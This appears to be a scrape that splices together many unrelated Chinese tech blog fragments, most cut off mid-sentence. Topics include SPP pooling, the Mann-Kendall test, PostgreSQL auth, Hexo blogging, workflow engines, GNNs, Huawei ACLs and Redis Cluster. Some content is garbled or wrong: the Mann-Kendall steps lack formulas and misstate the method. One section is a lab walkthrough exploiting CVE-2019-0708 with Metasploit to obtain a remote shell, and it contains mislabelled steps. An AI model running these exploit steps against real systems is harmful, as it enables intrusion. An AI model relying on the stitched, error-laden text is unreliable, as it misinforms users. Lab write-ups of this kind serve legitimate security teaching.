SPP是空间金字塔池化,作用是一个实现一个自适应尺寸的输出。(传统的池化层如最大池化、平均池化的输出大小是和输入大小挂钩的,但是我们最后做全连接层实现分类的时候需要指定全连接的输入,所以我们需要一种方法让神经网络在某层得到一个固定维度的输出,而且这种方法最好不是resize(resize会失真),由此SPP应运而生,其最早是何凯明提出,应用于RCNN模型)当今的SPP在faster-rcnn上已经发展为今天的Multi-Scale-ROI-Align,而在Yolo上发展为SPPF。
Access to XMLHttpRequest at '接口地址和参数' from origin 'http://localhost:8080' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: It does not have HTTP ok status.可能是接口报错
Mann-Kendall原理 Mann-Kendall检验是一种用于检测时间序列中趋势变化的非参数统计方法,它不需要对数据分布做出任何假设,因此适用于各种类型的数据。
Mann-Kendall检验的假设是原假设:时间序列中不存在趋势变化,备择假设:时间序列中存在趋势变化。其基本思想是通过比较每对数据点之间的大小关系来检查序列中的趋势,然后根据秩和的正负性来确定趋势的方向。
Mann-Kendall检验的计算过程包括以下步骤:
1.对于长度为n的时间序列X,计算n(n-1)/2个变量关系差(d):
( ) 2.将所有d[i,j]的符号相乘,得到Sgn。即:
3.计算所有d[i,j]的绝对值的秩和,即:
4.计算标准正态分布的z统计量,即:
5.根据显著性水平选择拒绝原假设的临界值,如果z值小于临界值,则接受原假设,否则拒绝原假设。
在Mann-Kendall检验确定存在趋势后,可以使用Sen's slope来计算趋势的斜率。Sen's slope是一种计算趋势斜率的方法,它利用中位数差来估计趋势的斜率,与线性回归方法不同,Sen's slope不受异常值的影响,因此更适用于含有异常值的数据。
Sen's slope的计算方法如下:
1.对于长度为n的时间序列X,计算n(n-1)/2个变量关系差(d):
( ) 2.计算所有d[i,j]的绝对值的中位数,即:
3.计算Sen's slope,即:
其中,k = (n-1)/2
Sen's slope表示时间序列中单位时间的变化量。当Sen's slope为正数时,表示时间序列呈现上升趋势,当Sen's slope为负数时,表示时间序列呈现下降趋势。
简而言之,Sen's slope是所有点连线的中位数。
GEE JS 时间序列 要求多年ImageCollection必须有时间属性:
以PML_v2的ET为例(也可也相应换成其它,如EVI、NDVI、LAI等等)
image-20230322113316942 获取一个时间序列查看:
function get_chart(imgcol, name){
var chart = ui.Chart.image.series({
imageCollection: imgcol, region : point,
reducer : ee.Reducer.mean(),
scale : 500
});
print(chart, name);
}
get_chart(img_ET.select('ET'), 'ET_series');
image-20230322113527649 由于MK sensSlope的原理是所有时间连线的中位数
因此需要组成一个Join,构建了所有前后点的连线。施加一个Filter,使用lessThan过滤器将集合与其自身结合起来。过滤器将通过所有按时间顺序排列较晚的图像。在连接的集合中,每个图像都将在一个属性中存储它之后的所有图像after。
var afterFilter = ee.
1.客户端认证配置配置文件pg_hba.conf作用
哪些主机可以连接数据库实例 哪个数据库用户可以使用它 允许这个用户使用哪些数据库 客户端使用什么连接方式和认证方式 2.配置文件说明
该配置文件有5个参数,分别为: TYPE(主机类型)、DATABASE(数据库名)、USER(用户名)、ADDRESS(IP地址和掩码)、METHOD(加密方法) # TYPE DATABASE USER ADDRESS METHOD local database user auth-method [auth-options] host database user address auth-method [auth-options] hostssl database user address auth-method [auth-options] hostnossl database user address auth-method [auth-options] host database user IP-address IP-mask auth-method [auth-options] hostssl database user IP-address IP-mask auth-method [auth-options] hostnossl database user IP-address IP-mask auth-method [auth-options] 3.主机类型
pg_hba.conf-主机类型TYPE local匹配使用Unix域套接字的连接 如果没有TYPE为local的条目则不允许通过Unix域套接字连接 host匹配使用 TCP/IP建立的连接,同时匹配SSL和非SSL连接 缺省安装只监听本地环回地址localhost的连接,不允许使用TCP/IP远程连接 启用远程连接需要修改postgresql.conf中的listen_addresses参数 SSL(Secure Sockets Layer 安全套接字协议), hostssl 匹配必须是使用SSL的TCP/IP连接 客户端和服务器端都安装OpenSSL 编译PostgreSQL的时候指定configure参数--with-openssl打开SSL支持 在postgresql.
首先打开·NVIDIA官方网站
Getting Started with DLSS
从下面的链接里面找到unreal版本的DLSS
根据提供的几个版本去下载指定版本的压缩包(另外在上面也提供了Unity版本的压缩包)
解完压缩包后将其解压到插件目录下面去
然后启动UE5
开启插件,在设置里面打开
可以看到,有质量模式和效率模式
文章目录 Hexo+Gitee 搭建“个人博客”一、安装git和node.js1、安装git2、安装node.js 二、安装Hexo1、新建一个本地文件夹1、安装Hexo 三、编辑个人博客1、当前hexo/blog文件中,选中’Git Bash Here‘,打开git命令窗口2、git命令窗口输入,==hexo new "文章标题"==3、查看文章地址:\hexo\blog\source\\_posts4、打开文章,并编辑内容5、运行 ==hexo g== 生成网页6、运行 ==hexo s== 运行博客 四、更改博客样式1、Hexo官网,点击主题2、选择喜欢的主题,点击博客名称3、进入github主页,向下滑动可看见当前博客的配置指南,复制链接安装主题4、在博客下的 _config.yml 文件修改主题为 hollow,保存后退出5、运行 hexo g 生成网页6、运行 hexo s 运行博客,主题修改成功 五、注册Gitee账号六、将博客上传到Gitee中1、Git 全局设置2、生成ssh3、打开_config文件,填写以下内容4、在个人博客根目录打开git窗口5、输入 ==hexo g== 生成网页内容6、输入 ==hexo d== 部署博客7、打开刚刚创建的仓库8、打开博客无样式,在_config文件中添加:isHttps: true 七、更新博客1、hexo clean 清除缓存2、hexo g 生成网页3、hexo d 部署博客4、在Gitee Pages中 更新 八、hexo引用本地图片1、修改博客配置2、下载插件3、通过命令重新部署博客 Hexo+Gitee 搭建“个人博客” 一、安装git和node.js 1、安装git 打开git官网:https://git-scm.com/download/win选择电脑对应的版本 (我的电脑64位)
2、安装node.js 打开node.js官网:https://nodejs.org/en/download选择电脑对应的版本 (我的电脑64位) 二、安装Hexo 1、新建一个本地文件夹 进入文件夹,单击右键选中’Git Bash Here‘,打开git命令窗口
1、安装Hexo 打开Hexo官网:https://hexo.io/zh-cn/
在git命令窗口中依次输入以下命令:
浏览器中输入博客地址 :http://localhost:4000/
如果出现当前页面,恭喜你拥有了个人博客,但是只能在本地访问。
三、编辑个人博客 1、当前hexo/blog文件中,选中’Git Bash Here‘,打开git命令窗口 2、git命令窗口输入,hexo new “文章标题” 3、查看文章地址:\hexo\blog\source\_posts 4、打开文章,并编辑内容 5、运行 hexo g 生成网页 6、运行 hexo s 运行博客 四、更改博客样式 1、Hexo官网,点击主题 2、选择喜欢的主题,点击博客名称 3、进入github主页,向下滑动可看见当前博客的配置指南,复制链接安装主题 4、在博客下的 _config.
目录
【CVE编号】
【靶标分类】
【漏洞分类】
【漏洞说明】
【靶标运行环境】
【靶标利用过程】
【CVE编号】 CVE-2019-0708
【靶标分类】 靶标类型:windows系统安全类靶标
【漏洞分类】 漏洞类型:远程代码执行漏洞
【漏洞说明】 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的,导致机器蓝屏瘫痪。这个漏洞也是windows经典漏洞之一,跟之前的勒索,永恒之蓝病毒差不多,极具破坏性。
【靶标运行环境】 攻击机:kali
靶机:windows7_sp1
【靶标利用过程】 6.1靶机前期准备
关闭防火墙 2.确认RDP服务开启
6.2网络测试
ping 192.168.0.6
6.3端口探测
nmap -sS 192.168.0.6 -p 3389
6.4打开msf
msfconsole
6.5搜索漏洞MS08-067
search 0708
6.6使用CVE2019-0708漏洞
use 1
show options
6.7必要参数配置
set rhosts 192.168.0.6 //设置靶机ipset rport 445 //攻击端口set lhost 192.168.0.4 //设置本地ipset lport 4444 //设置本地监听端口set target 2 //选择靶机对应的系统 注意:根据目标靶机的系统选择target,自动选择可能导致攻击利用不成功。目标靶机是windows7_sp1,选择 target 2
6.8进行攻击,成功获取靶机shell
exploit
一、了解工作流 1、什么是工作流 工作流(Workflow),就是通过计算机对业务流程自动化执行管理。它主要解决的是“使在多个参与者之间按照某种预定义的规则自动进行传递文档、信息或任务的过程,从而实现某个预期的业务目标,或者促使此目标的实现”。通俗来讲,就是业务上一个完整的审批流程。例如员工的请假,出差,外出采购,合同审核等等,这些过程,都是一个工作流。
2、工作流引擎 对于工作流的处理,如果采用原始的方式,我们需要拿着各种文件到各个负责人那里去签字,需要在多个部门之间不断审批,这种方式费时费力。而我们可以借助软件系统来协助我们处理这些审批流程,这样就出现了工作流系统,使用工作流系统后可以极大的提高工作效率。
在学习工作流的过程中,我们肯定看到过这个模型:填写请假单->部门经理审批->总经理审批->人事备案。
(1)要实现上述的流程,我们自己可以通过字段标识来实现这个审批效果,在业务表中加个字段,比如填写请假单用1标识,部门经理用2标识,总经理用3标识,人事备案用4标识,好像看起来没啥问题,也实现了审批效果。可是一旦我们的流程出现了变化,这个时候我们就需要改动我们的代码了,这显然是不可取的,那么有没有专业的方式来实现工作流的管理呢?并且可以做到业务流程变化之后,我们的程序可以不用改变,如果可以实现这样的效果,那么我们的业务系统的适应能力就得到了极大提升。在这样的背景下,就出现了工作流引擎。
为什么使用工作流引擎,能实现业务流程改变,不用修改代码,流程还能自动推进?
(1)我们先来说说为什么流程改变,不用修改代码:我们的工作流引擎都实现了一个规范,这个规范要求我们的流程管理与状态字段无关,始终都是读取业务流程图的下一个节点。当业务更新的时候我们只需要更新业务流程图就行了。这就实现了业务流程改变,不用修改代码。
(2)再来说说流程自动推进,这个原理就更简单了,就拿上面的请假模型来说,工作流引擎会用一张表来记录当前处在的节点。当填写完请假单后肯定是要轮到部门经理来审批了,所以我们一旦完成了请假单填写那么这条记录将会被从这张表删除掉,并且会把下一个节点部门经理的信息插入到这张表中,当我们用部门经理的信息去这张表中查询的时候就能查出部门经理相关的审批的信息了,以此类推,这样层层递进,就实现了流程的自动递交了。
3、常见工作流引擎 主流的框架有:Activiti、jBPM、Camunda 、Flowable 、还有我们国产的盘古BPM、云程
4、Activiti7概述 4.1、Activiti介绍 activiti是一个工作流引擎,可以将业务系统中复杂的业务流程抽取出来,使用专门的建模语言BPMN进行定义,业务流程按照预先定义的流程进行执行。实现了系统的流程由activiti进行管理,减少业务系统由于流程变更进行系统升级改造的工作流量,从而提高系统的健壮性,同时也减少了系统开发维护成本。
官方网站:https://www.activiti.org
4.2、建模语言BPMN BPM(Business Process Management)即业务流程管理,是一种规范化的构造端到端的业务流程,以持续提高组织业务效率
BPM 软件就是根据企业中业务环境的变化,推进人与人之间、人与系统之间以及系统与系统之间的整理及调整的经营方法与解决方案的 IT 工具。使用 BPM 软件对企业内部及外部的业务流程的整个生命周期进行建模、自动化、管理监控和优化,可以降低企业成本,提高利润
BPMN(Business Process Model AndNotation)即业务流程模型和符号,是一套标准的业务流程建模符号,使用 BPMN 提供的符号可以创建业务流程。Activit 就是使用 BPMN 进行流程建模、流程执行管理的
BPMN2.0 是业务流程建模符号 2.0 的缩写,它由 Business Process Management Initiative 这个非营利协会创建并不断发展。BPMN2.0 是使用一些符号来明确业务流程设计流程图的一套符号规范,能增进业务建模时的沟通效率。目前 BPMN2.0 是最新的版本,它用于在 BPM 上下文中进行布局和可视化的沟通
BPMN2.0 的基本符号主要包含:
事件 Event
开始:表示一个流程的开始
中间:发生的开始和结束事件之间,影响处理的流程
结束:表示该过程结束
活动 Activities
活动是工作或任务的一个通用术语。一个活动可以是一个任务,还可以是一个当前流程的子处理流程;其次,你还可以为活动指定不同的类型。常见活动如下:
网关 GateWay
用于表示流程的分支与合并,有几种常用网关需要了解:
排他网关:只有一条路径会被选择
xxxxxxxxxx <el-button type="success" icon="el-icon-plus" size="
目录 PADS VX2.7学习记录04-PADS Layout软件操作一、PADS Layout软件常规参数设置二、PADS Layout颜色偏好显示设置1、显示颜色设置2、网络颜色设置 三、无模命令和常用快捷键介绍四、自定义快捷键添加和修改五、过滤器Filter使用六、导入DXF板框结构图到PCB1、手动创建板框2、DXF导入板框3、利用AD软件导入板框结构图 七、PCB与原理图交互设计功能八、Orcad、 AD原理图网表导入PCB1、Orcad原理图网表导入PADS Layout2、AD原理图网表导入PADS Layout(很少使用) 九、利用ECO功能更新PCB十、PCB原点设置方法十一、叠层设置及修改十二、过孔Via添加及修改十三、虚拟过孔功能介绍十四、常规线宽、间距规则的设置十五、Class分组信号规则的设置十六、不同层规则的设置十七、飞线的关闭与打开设置十八、器件移动、旋转的操作方法十九、Group组的添加及打散二十、布线操作介绍二十、器件的打孔及IC扇出操作二十一、添加、编辑铜箔功能介绍二十二、模块复用Reuse功能介绍二十三、宏命令添加及使用介绍二十四、连接性DRC验证及消除二十五、安全间距DRC验证及消除二十六、丝印调整、字符添加、 Logo导入二十七、间距测量、尺寸标注功能 PADS VX2.7学习记录04-PADS Layout软件操作 一、PADS Layout软件常规参数设置 命令:工具——选项(快捷键Ctrl+Enter)
常规设置:
剩下的默认即可。
二、PADS Layout颜色偏好显示设置 1、显示颜色设置 操作命令:
设置——显示颜色
1、背景,板框,选择,连接,亮显固定设置
2、显示网络名称,都打钩
3、可以根据自己喜欢的 颜色配置
4、把自己喜欢的颜色配置保存起来,方便下次使用
2、网络颜色设置 命令:查看——网络
1、选择需要赋予颜色 的网络
2、添加颜色
3、打钩,导线上包含网络颜色
4、应用,确定即可
三、无模命令和常用快捷键介绍 多使用,熟练
四、自定义快捷键添加和修改 操作命令:工具——自定义
方法:选择目录和命令后,可点击添加命令按钮来自定义命令。
五、过滤器Filter使用 操作命令:编辑——筛选条件(alt+Ctrl+F)
六、导入DXF板框结构图到PCB 1、手动创建板框 命令:
点击命令以后,开始画板框(可以使用多边形,圆形,矩形画,看具体情况选择)
然后画一个封闭的区域,点击完成,就可以了
2、DXF导入板框 操作命令:
1、添加DXF 文件,添加的DXF文件板框一定要是一个闭合的区域,否则是不会成功的
2,选择单位:公制
3、选择添加在PCB的哪一层,一般不要放在信号层
4、点击确定,就可以添加了
5、将添加的DXF转化为板框,在过滤器中,选择形状和板边框,此时才可以选择板框
6、选择板框,单击右键,选择特性,如下:
将类型选择为板框,宽度可以选择10mil就可以了,
3、利用AD软件导入板框结构图 1、PADS这个软件兼容性比较差,所以导DXF文件时,会经常失败
2、AD这个软件兼容性很强,DXF文件导到AD,特别快,基本不会失败
3、所以就可以利用AD软件导入板框
方法:
第一:将DXF文件导入AD软件的机械1层,单位是公制,全选板框,点击DSD,即可生产板框,保存关闭AD软件
第二:在PADS软件中导入刚才保存的AD文件。
命令:文件——导入,文件后缀pcbdoc
第三:导入成功后,观察是否是板框
最新遇到mongoDB中需要对数据做批量更新,使用updateMuti效果不是特别理想,所以检索了下检索语句,发现mongo提供的原生document文档是真的好用,批量更新语句如下,每天进步一小点,加油!
db.getCollection('picture').find({ "ss": 0 }).forEach(function(item) { db.getCollection('picture').update({ "_id": item._id }, { $set: { "ss": 1 } }) });
dubbo安装及使用 (新手笔记,存在错误还请指正)
尚硅谷dubbo
dubbo的github地址
dubbo官方文档
dubbo使用 dubbo安装及使用dubbo和zookeeper的关系zookeeper安装dubbo快速入门概念环境搭建引入dubbo 监控中心安装与springboot整合dubbo配置dubbo高可用 dubbo和zookeeper的关系 dubbo和zookeeper的关系
zookeeper安装 zookpper安装
dubbo快速入门 概念 Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。(rpc的两个核心模块即:通讯,序列化。)
设计架构:
环境搭建 一、打开zookeeper
二、安装dubbo-admin管理控制台
dubbo本身并不是一个服务软件。它其实就是一个jar包能够帮你的java程序连接到zookeeper,并利用zookeeper消费、提供服务。所以不用在Linux上启动什么dubbo服务。
但是为了让用户更好的管理监控众多的dubbo服务,官方提供了一个可视化的监控程序,不过这个监控即使不装也不影响使用。
下载地址:
dubbo-admin
进入目录,修改dubbo-admin配置:
修改 src\main\resources\application.properties 指定zookeeper地址
打包dubbo-admin,cmd中运行:
mvn clean package -Dmaven.test.skip=true 运行dubbo-admin
java -jar dubbo-admin-0.0.1-SNAPSHOT.jar 在浏览器中访问localhost:7001即可访问管理页面(用户名密码均为root)
三、创建工程
需求:
某个电商系统,订单服务需要调用用户服务获取某个用户的所有地址;我们现在需要创建两个服务模块。
订单服务web模块:创建订单等 用户服务web模块:查询用户地址等 实现:两个模块在不同的服务器并且A可以远程调用B的功能。
1、服务提供者
定义一个实体bean,和一个服务提供service
public class UserAddress implements Serializable { private Integer id; private String userAddress; private String userId; private String consignee; private String phoneNum; private String isDefault; public UserAddress() { super(); } public UserAddress(Integer id, String userAddress, String userId, String consignee, String phoneNum, String isDefault) { this.
本次使用的是这个布局
我们让Main区域撑满余下高度,只需要给最外层的container加一个高度是height: 100vh;,el-main标签所在的class加一个align-items: stretch;撑满父容器高度,代码如下
<template> <el-container class="outside-container"> <el-header> <FHeader /> </el-header> <el-container> <el-aside width="200px"> <FMenus /> </el-aside> <el-main> <FTagList /> <router-view></router-view> </el-main> </el-container> </el-container> </template> <style> .outside-container{ height: 100vh; background-color: red; } .el-main{ background-color: skyblue; align-items: stretch; } </style> 效果如下
银行存取款的程序设计 用户在银行进行存款,取款,查询余额 编写一个账户类实现银行账户的概念, 创建账户类的对象ba 假设账号为123456,初始余额为500元,实现向该账户存入1000元,再取出800元。 分析: 1.定义一个银行账户类,实现账户的概念 账户类 BankAccount 2.属性包括账户和余额 账号 account_number 余额 leftmoney 3.对账户进行存款、取款、查询操作,定义四个方法 存款 savemoney 取款 getmoney 查询余额 getleftmoney 构造方法 BankAccount 4.编写测试类 在main()方法中创建一个BankAccount类的对象ba进行测试 代码:
测试类:
package base004; /* 银行存取款的程序设计 用户在银行进行存款,取款,查询余额 编写一个账户类实现银行账户的概念, 创建账户类的对象ba 假设账号为123456,初始余额为500元,实现向该账户存入1000元,再取出800元。 分析: 1.定义一个银行账户类,实现账户的概念 账户类 BankAccount 2.属性包括账户和余额 账号 account_number 余额 leftmoney 3.对账户进行存款、取款、查询操作,定义四个方法 存款 savemoney 取款 getmoney 查询余额 getleftmoney 构造方法 BankAccount 4.编写测试类 在main()方法中创建一个BankAccount类的对象ba进行测试 */ public class Test04 { public static void main(String[] args) { BankAccount ba = new BankAccount("
前言 HALCON 提供了深度学习网络算子供开发人员使用,但是网上资料很多,对于一些基础性概念和解释以及流程并没有很清楚,本专栏着重讲述halcon深度学习的基本算子和概念,基础概念和算子讲完以后附上完整的halcon代码,在专栏的最后提供了一个完整的halcon深度学习项目供大家下载学习。
Halcon深度学习的应用场景分类 分类:对图像进行分类,并没有划分目标框目标检测:图片中的物体提取并分类语义分割:为图像的每个像素分配一个类 Halcon中模型处理 模型处理:数据及数据的传输方法!
字典:输入时,包含每个图像的字典,字典包括图像,信息,标签!
输出时,网络返回一个 包含结果的字典。
DLDataset:
字典存储有关数据集的一般信息并收集各个示例的字典
samples:
该键获取字典元组作为值
DLSamples:
字典用于网络模型的输入
Halcon中深度学习的一般流程 准备一个神经网络或创建一个准备数据
1.1 预先培训的网络中读取或新建一个
1.2 标签图像
1.3 预先处理图像(图像尺寸,灰度值范围等…)
1.4 拆分数据及(训练,验证和测试)
训练网络并评估进度
应用及预测!(应用时与预先处理图像一致大小,尺寸等)
Halcon深度学习中的一些术语(持续更新) 锚:
锚点时固定边界框,它们用作参考框
锚点(anchor)的生成:
anchor是将训练集的目标框选出来的框。anchor指的是一类框(一类box)
confidence:置信概率
confusion matrix:混淆矩阵
动量:momentum
momentum范围在0到1之间,用于优化损失函数参数
正则化:weight_prior
防止神经网络过拟合
Halcon做目标检测深度学习的算子 首先,目标检测使用的网络有三部分:
第一部分:The backbone
使用的是预处理网络,是Halcon原先提供的
第二部分:特征金字塔
第三部分:是自己标定的部分,还包括减少重叠的预测边界框
get_model_dl_param //返回目标检测网络的参数 set_dl_model_param //设置目标检测神经网络参数 目标检测流程 一.创建网络(先创建第一个Halcon文件) 创建模型和数据预处理
create_dl_model_detection 创建用于目标检测的深度学习网络 create_dict(DLModelDetectionParam) create_dl_model_detection(Backone,NumClasses,DLModelDetectionParam,DLModelHandle) //Backone是预处理网络 //NumClasses每幅图最大检测数 //DLModelDetectionParam这里的数据都是字典数据,包括标签图像大小,通道等 这里Halcon提供的预处理网络有3种:
1.1. pretrained_dl_classifier_compact.hdl (适合快速且高效的网络)
此网络可以从get_dl_model_param中读取相关参数,这里的默认参数有
image_width:224
image_height:224
image_num_channels:3
先确定自己的系统的版本 终端命令行输入:cat /etc/issue 第二步当然是百度了,比如:debian11的镜像源。随缘自己找一个点进去那些网址全部复制下来。备份一下源文件:sudo cp /etc/apt/sources.list /etc/apt/sources然后打开这个源文件
sudo vim /etc/apt/sources.list
(一定要加sudo,不然配置文件没权限修改)输入:ggdG 删除所有内容。(注意大小写) [不会用vim的啥都不要管,打开上面那个文件后直接输入ggdG,你是看不到你输入的这个字母的]把你复制的那些deb打头的那些网址粘贴进来就行了,鼠标右键粘贴总会吧。键盘左上角ESC键点击,输入法英文状态(这是重点),输入:wq(先输冒号)。好了这就可以了,更新一下吧
sudo apt-get upgrade
sudo apt-get update
@作者DeepHub IMBA,个人学习记录
图神经网络 单个图神经网络(GNN)层有一堆步骤,在图中的每个节点上会执行:
- 消息传递
- 聚合
- 更新
这些组成了对图形进行学习的构建块,GDL的创新都是在这3个步骤的进行的改变。
节点 节点表示一个实体或对象,如用户或原子。因此节点具有所表示实体的一系列属性。这些节点属性形成了节点的特征(即“节点特征”或“节点嵌入”)。
通常,这些特征可以用Rd中的向量表示. 这个向量要么是潜维嵌入,要么是以每个条目都是实体的不同属性的方式构造的。
这些节点特征是GNN的输入,每个节点i具有关联的节点特征xi∈Rd和标签yi(可以是连续的,也可以是离散的,就像单独编码一样)。
边 边也可以有特征aij∈Rd '例如,在边缘有意义的情况下(如原子之间的化学键)。
消息传递 gnn以其学习结构信息的能力而闻名。通常,具有相似特征或属性的节点相互连接(比如在社交媒体中)。GNN利用学习特定节点如何以及为什么相互连接,GNN会查看节点的邻域。
GNN可以通过查看其邻居Ni中的节点i来了解很多关于节点i的信息。为了在源节点i和它的邻居节点j之间实现这种信息共享,gnn进行消息传递。
对于GNN层,消息传递被定义为获取邻居的节点特征,转换它们并将它们“传递”给源节点的过程。对于图中的所有节点,并行地重复这个过程。这样,在这一步结束时,所有的邻域都将被检查。
让我们放大节点6并检查邻域N6={1,3,4}。我们取每个节点特征x1、x3和x4,用函数F对它们进行变换,函数F可以是一个简单的神经网络(MLP或RNN),也可以是仿射变换F(xj)=Wj⋅xj+b。简单地说,“消息”是来自源节点的转换后的节点特征。
F 可以是简单的仿射变换或神经网络。现在我们设F(xj)=Wj⋅xj为了方便计算 ⋅ 表示简单的矩阵乘法。
聚合 现在我们有了转换后的消息{F(x1),F(x3),F(x4)}传递给节点6,下面就必须以某种方式聚合(“组合”)它们。
有很多方法可以将它们结合起来。常用的聚合函数包括:
假设我们使用函数G来聚合邻居的消息(使用sum、mean、max或min)。最终聚合的消息可以表示为:
更新 使用这些聚合消息,GNN层就要更新源节点i的特性。在这个更新步骤的最后,节点不仅应该知道自己,还应该知道它的邻居。这是通过获取节点i的特征向量并将其与聚合的消息相结合来操作的,一个简单的加法或连接操作就可以解决这个问题。
使用加法
其中σ是一个激活函数(ReLU, ELU, Tanh), H是一个简单的神经网络(MLP)或仿射变换,K是另一个MLP,将加法的向量投影到另一个维度。
使用连接
为了进一步抽象这个更新步骤,我们可以将K看作某个投影函数,它将消息和源节点嵌入一起转换:
初始节点特征称为xi,在经过第一GNN层后,我们将节点特征变为hi。假设我们有更多的GNN层,我们可以用hli表示节点特征,其中l是当前GNN层索引。同样,显然h0i=xi(即GNN的输入)。
整合在一起 现在我们已经完成了消息传递、聚合和更新步骤,让我们把它们放在一起,在单个节点i上形成单个GNN层:
这里我们使用求和聚合和一个简单的前馈层作为函数F和H。设hi∈Rd, W1,W2⊆Rd ’ ×d其中d '为嵌入维数。
使用邻接矩阵 到目前为止,我们通过单个节点i的视角观察了整个GNN正向传递,当给定整个邻接矩阵a和X⊆RN×d中所有N=∥V∥节点特征时,知道如何实现GNN正向传递也很重要。
在 MLP 前向传递中,我们想要对特征向量 xi 中的项目进行加权。这可以看作是节点特征向量 xi∈Rd 和参数矩阵 W⊆Rd′×d 的点积,其中 d′ 是嵌入维度:
如果我们想对数据集中的所有样本(矢量化)这样做,我们只需将参数矩阵和特征矩阵相乘,就可以得到转换后的节点特征(消息):
在gnn中,对于每个节点i,消息聚合操作包括获取相邻节点特征向量,转换它们,并将它们相加(在和聚合的情况下)。
单行Ai对于Aij=1的每个指标j,我们知道节点i和j是相连的→eij∈E。例如,如果A2=[1,0,1,1,0],我们知道节点2与节点1、3和4连接。因此,当我们将A2与Z=XW相乘时,我们只考虑列1、3和4,而忽略列2和5:
矩阵乘法就是A中的每一行与Z中的每一列的点积,这就是消息聚合的含义!!
获取所有N的聚合消息,根据图中节点之间的连接,将整个邻接矩阵A与转换后的节点特征进行矩阵乘法:
但是这里有一个小问题:观察到聚合的消息没有考虑节点i自己的特征向量(正如我们上面所做的那样)。所以我们将自循环添加到A(每个节点i连接到自身)。
这意味着对角线的而数值需要进行修改,用一些线性代数,我们可以用单位矩阵来做这个!
一、ACL基本介绍 ACL:访问控制列表
※是由一系列permit和deny语句组成的(后面跟着条件列表)、有序规则的列表,它通过匹配报文的相关信息实现对报文的分类;
※ACL本身只能够用于报文的匹配和区分,而无法实现对报文的过滤功能(此功能侧面可以说明ACL可以提高网络的安全性),针对AC所匹配的报文的过滤功能,需要特定的机制来实现(例如在交换机的接口上使用traffic-filter命令调令ACL来进行报文过滤),ACL只是一个匹配用的工具;
※ACL除了能够对报文进行匹配,还能够用于匹配路由;
※主要应用于流量过滤,实际上是一条一条规则的集合,是一种工具,可以应用在任何场合
1.ACL工作原理 当数据包从接口经过时,由于接口启用了acl,此时路由器会对报文进行检查,然后做出相应的处理。
2.ACL种类 种类数字标识匹配项基本ACL2000-2999只能匹配IP地址高级ACL3000-3999可匹配源IP地址,目的IP地址,源端口,目的端口,第三、四层字段协议二层ACL4000-4999根据数据包源MAC地址,目的MAC地址,802.1q优先级,二层协议类型等二层信息制定规则 3.ACL应用原则 基本ACL:尽量用在靠近目的点
高级ACL:尽量用在靠近源的地方
4.ACL应用规则 a.一个接口的同一方向,只能调用一个ACL
b.一个ACL里面可以有多个rule规则,按照规则ID从小到大排序,从上往下依次执行
c.数据包一旦被某个rule匹配,就不再继续向下匹配
d.用来做数据包访问控制时,默认隐含放通所有(华为设备) 二、实例演示 rule permit icmp source 192.168.1.4 0 #在acl中子网掩码采用反掩码,例:255.255.255.0
acl中为0.0.0.25
[Huawei]acl 3000 #创建高级acl3000 [Huawei-acl-adv-3000]rule permit icmp source 192.168.1.4 0 destination 192.168.3 .1 0 #允许192.168.1.4主机(client2)能够ping通192.168.3.1主机(web服务器) [Huawei-acl-adv-3000]rule deny icmp source any destination 192.168.3.1 0 #不允许其他ping通 [Huawei-acl-adv-3000]rule permit tcp source 192.168.1.3 0 destination 192.168.3. 1 0 destination-port eq 80 #允许client1访问web服务器www服务 [Huawei-acl-adv-3000]rule deny tcp source any destination 192.
对于序列 [1,2,3,4,5] 和 [1,2,3,4,5,6] ,求其中间位置的索引值
当索引从 0 开始时,中间位置的索引值为 (n-1)/2。(n 为序列元素个数,下同)。如:序列 [1,2,3,4,5] ,中间位置的索引值为 2 = (5-1)/2;序列 [1,2,3,4,5,6] ,中间位置的索引值(偶数个元素取偏左的那一个)为 2 = (6-1)/2。
当索引从 1 开始时,中间位置的索引值为 (n+1)/2。
如果要求 偶数个元素取偏右的那一个,则:
当索引从 0 开始时,中间位置的索引值为 n/2。
当索引从 1 开始时,中间位置的索引值为 (n+2)/2。
其实就是在 偶数个元素取偏左的那一个 的基础上,对公式中的被除数+1。
注:/ 为地板除法。
注:当索引从 0 开始时,中间位置的索引值+1 为 n/2 (循环遍历前半部分序列:for (int i = 0; i < n / 2; i++))
在打开Simulink模型后,在命令行窗口敲命令如下:
h=get_param('PLL/PLL(3 phase)','handle'); % 其中第一个参数是模型的位置(注意用/间隔) print(h,'C:\Users\XIE\Desktop\test','-dmeta','-r600'); % 第二个参数为保存图片的位置,第四个参数是分辨率 类似的命令还有saveas(),不过好像不能设置分辨率,默认分辨率的图片挺迷糊的
得到的文件是扩展名为.emf的图元文件,直接将其拖到word中即可,个人感觉清晰度还是很高的,可用做论文中的插图。
当遇到大的数据占用redis内存,或者说高并发的数据和流量都超过了单台redis的处理能力的时候,我们就需要搭建使用redis的集群模式了。
RedisCluster是Redis 提供的集群化方案,它是一个由多个主从节点群组成的分布式服务器群,它具有复制、高可用和分片特性。
RedisCluster是去中心化的,我们需要将每个redis节点设置成集群模式,每个节点负责整个集群的一部分数据,每个节点负责的数据多少可能不一样。多个节点相互连接组成一个对等的集群,它们之间通过一种特殊的二进制协议相互交互集群信息。
当集群中的某一个的redis节点出现了异常,Rediscluster会完成节点的移除和故障转移。
因为 RedisCluster 是去中心化的,一个节点认为某个节点失联了并不代表所有的节点都认为它失联了。所以集群还得经过一次协商的过程,只有当大多数节点都认定了某个节点失联了,集群才认为该节点需要进行主从切换来容错。
Redis的集群至少是3主3从,且每个实例使用不同的配置文件。在cluster模式下,默认的,一般redis-master用于接收读写,而redis-slave则用于备份。
当有请求是在向slave发起时,会直接重定向到对应key所在的master来处理。 但如果不介意读取的是redis-cluster中有可能过期的数据并且对写请求不感兴趣时,则亦可通过readonly命令,将slave设置成可读,然后通过slave获取相关的key,达到读写分离。
哈希槽-slots
在cluster集群里会有16384个哈希槽(hash slot),在设置Redis的键(key)时,会先用CRC16算法对key运算,并用16384对运算结果取模,结果是多少,就把这个key放入该结果所编号的哈希槽里。
读取key的操作和写操作相反,先用上述公式求得对应的槽编号,再到对应的哈希槽里取
cluster集群中的每个节点会被平分到一定数量的哈希槽用来存储数据,这样不管是集群中那个几点进行key的操作都需要去16384个哈希槽中寻找对应的槽然后寻找key即可。
Cluster集群环境搭建:
